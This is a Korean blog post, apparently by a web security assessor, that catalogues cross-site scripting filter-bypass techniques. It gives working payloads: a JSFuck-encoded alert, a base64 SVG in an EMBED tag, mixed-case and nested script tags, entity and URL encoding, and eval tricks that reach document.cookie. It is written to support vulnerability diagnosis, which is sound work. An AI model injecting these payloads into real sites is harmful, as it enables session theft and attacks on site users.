효투의 세상 로딩중...
효투의 세상 로딩중...
반응형

크로스 사이트  스크립트(XSS)는 공격자가 웹 페이지 내 클라이언트 언어(HTML, java script 등)을 이용하여 스크립트를

삽입하여 그 스크립트가 동작함으로 써 어떤 명령이 실행되게끔 하는 공격이다.

글을 쓰는 게시판에 아래 사진과 같이 스크립트를 삽입하고 

만약 적절한 시큐어코딩이 안되어 있다면 사용자가 스크립트가 삽입된 페이지에 접근할 때

아래 사진과 같이 스크립트 명령이 실행되어 1이라는 알림창이 사용자에게 출력된다.

이런 XSS 취약점은 진단을 하다보면 대부분의 웹 페이지에서 어느정도 조치가 되어 있는 것 처럼 보이지만, 우회 기법도 정말 다양해서 정말 자주나오는 취약점 중 하나이고, 위험성 또한 크다.

매번 여기저기 찾으며 돌아다니기가 귀찮아서 우회 기법에 대해 정리를 해보려한다.

일단 XSS에 관한 Payload는 아래 2 사이트만 참고해도 정말 엄청난 양의 스크립트들이 존재한다.

https://github.com/payloadbox/xss-payload-list

 

GitHub - payloadbox/xss-payload-list: 🎯 Cross Site Scripting ( XSS ) Vulnerability Payload List

🎯 Cross Site Scripting ( XSS ) Vulnerability Payload List - GitHub - payloadbox/xss-payload-list: 🎯 Cross Site Scripting ( XSS ) Vulnerability Payload List

github.com

 

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

 

Cross-Site Scripting (XSS) Cheat Sheet - 2022 Edition | Web Security Academy

Interactive cross-site scripting (XSS) cheat sheet for 2022, brought to you by PortSwigger. Actively maintained, and regularly updated with new vectors.

portswigger.net

 

그리고 추가적으로 정말 기괴하게 생긴 JS fuck이라는 스크립트를 이용하여 우회할 수 있는 방법도 있다.

http://www.jsfuck.com/

 

JSFuck - Write any JavaScript with 6 Characters: []()!+

 

www.jsfuck.com

 

js fuck을 이용한 alert(1) 문자열을 표현하는 방법은 아래와 같다.

[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])

오로지 [  ]  ( ! +  )  괄호와 느낌표 등과같은 특수문자로 문자열을 표현한 것이다.

이렇게 script 사이에 페이로드를 넣어주면 정상적으로 동작하는 것을 볼 수 있다.

 

위 깃허브 페이로드와 치트 시트는 두 사이트는 느낌이 조금 다르다

깃허브 페이지는 다양한 방법으로 공격 페이로드를 정리 해놓은 느낌이 크고

치트시트는 다양한 태그와 이벤트 핸들러를 깔끔하게 정리되어 있어

2개 모두 활용하여 사용하면 좋다.

 

XSS가 막기 어려운 것은 이스케이프 문자열이나  Base64 , URL 인코딩을 이용하여 스크립트를 작성해도 동작한다는 점 때문인것 같다.

수많은 페이로드 중에 몇개를 뽑아 테스트 해보면 실제로 잘 동작하는 것을 확인할 수 있다.

EMBED 태그 안에 base64로 인코딩된 스크립트 페이로드이다.

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

페이지에 삽입해보면 실제로 알림창이 출력된다.

base64를 디코딩해보면 아래와 같은데 embed 태그를 통해 svg 와 script를 이용하는 방식이다.

<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="194" height="200" id="xss"><script type="text/ecmascript">alert("XSS");</script></svg>

 

또 대표적인 우회기법으로 태그와 대소문자를 섞거나 <script> 사이에 <script>를 1개 더 삽입하는

XSS 우회기법도 존재한다.

<a href="jAvAsCrIpT:alert(1)">X</a>
<scr<script>ipt>alert(1)</scr</script>ipt>

 

아래 코드는 유니코드 10진수를 이용한 javascript 표현 방식인데 a를 &#97 로 변환하여 javascript 나 alert의 필터링을 우회할 수 있다.

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(3)>ClickMe

물론 더 많은 인코딩도 가능 아래와 같이 

<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,ale&#x00000072;t(1)></script>

 

URL 인코딩을 활용한 스크립트

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
반응형

 

또 eval이나 with 함수를 사용하여 문자열 필터링 우회도 가능하다.

만약 document.cookie 가 필터링이 되어 있다면, eval 함수를 활용하여 우회하거나

<script>eval('alert(d'+'ocument.'+'co'+'okie)')</script>

주석과 공백을 이용한 우회

<script>alert(document//testetestsetsetsetkjowejojw
.//
cookie);</script>

with 함수를 활용한 우회 등이 있다.

<script>with(document){alert(domain)}</script>

 

페이로드 깃허브를 참고하면 정말 많은 우회 페이로드들이 있고 그 만큼 XSS 취약점이 자주 나오는 이유이기도 하다.

실제로 필터링이 조금만 허술하면 거의 100% 우회 구문으로 스크립트가 동작한다.

일반적으로 파라미터에 스크립트를 삽입하는 방식 외에  게시판 같은 경우 일반적으로 글을 쓸 때는 필터링을 하지만

개발자 모드를 이용하여 스크립트를 삽입하여 우회하는 방식도 있으며, 패킷의 헤더에 스크립트를 삽입하는 방식도 존재한다.

XSS 공격을 효율적으로 하기 위해선 테스트 스크립트를 삽입한 후 어떤식으로 필터링하고 처리하는지 잘 살펴봐야한다.

 

또 페이로드 목록을 보게되면 아래와 같이 일반적으로 쓰는 스크립트 방식과는 다르게 보이는 것들이 있는데

이 또한 상황에 맞게 사용하면 스크립트가 동작할 수도 있다.

json, ajax를 이용하거나 기존에 어떤 태그를 이용하고 있는 페이지라면 굳이 <script>나 <a> <img>와 같은 태그를 사용할 필요없이 명령어만 삽입함으로써 XSS 공격을 실행한다.

\";alert('XSS');//
'); alert('xss');
</script><script>alert('XSS');</script>
{alert(1)}

 

또 파일 업로드를 통한 XSS 공격이 가능하다.

예를 들어 png나 jpg 이미지에 스크립트를 삽입한다.

이 jpg 파일을 그대로 업로드 했을 때 그 이미지를 읽어오면서 스크립트가 동작한다..

 

XSS 취약점은 우회 기법이 굉장히 다양한 만큼 항상 응답값을 확인하고 진단 시에 신경써서 봐야한다.

 

반응형
  • hyotwo7658@gmail.com

복사 완료 👍